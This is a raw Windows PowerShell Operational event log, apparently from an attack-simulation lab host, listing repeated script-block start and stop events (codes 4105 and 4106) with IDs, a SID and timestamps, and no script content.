Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042907
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042905
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042904
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042887
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042881
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
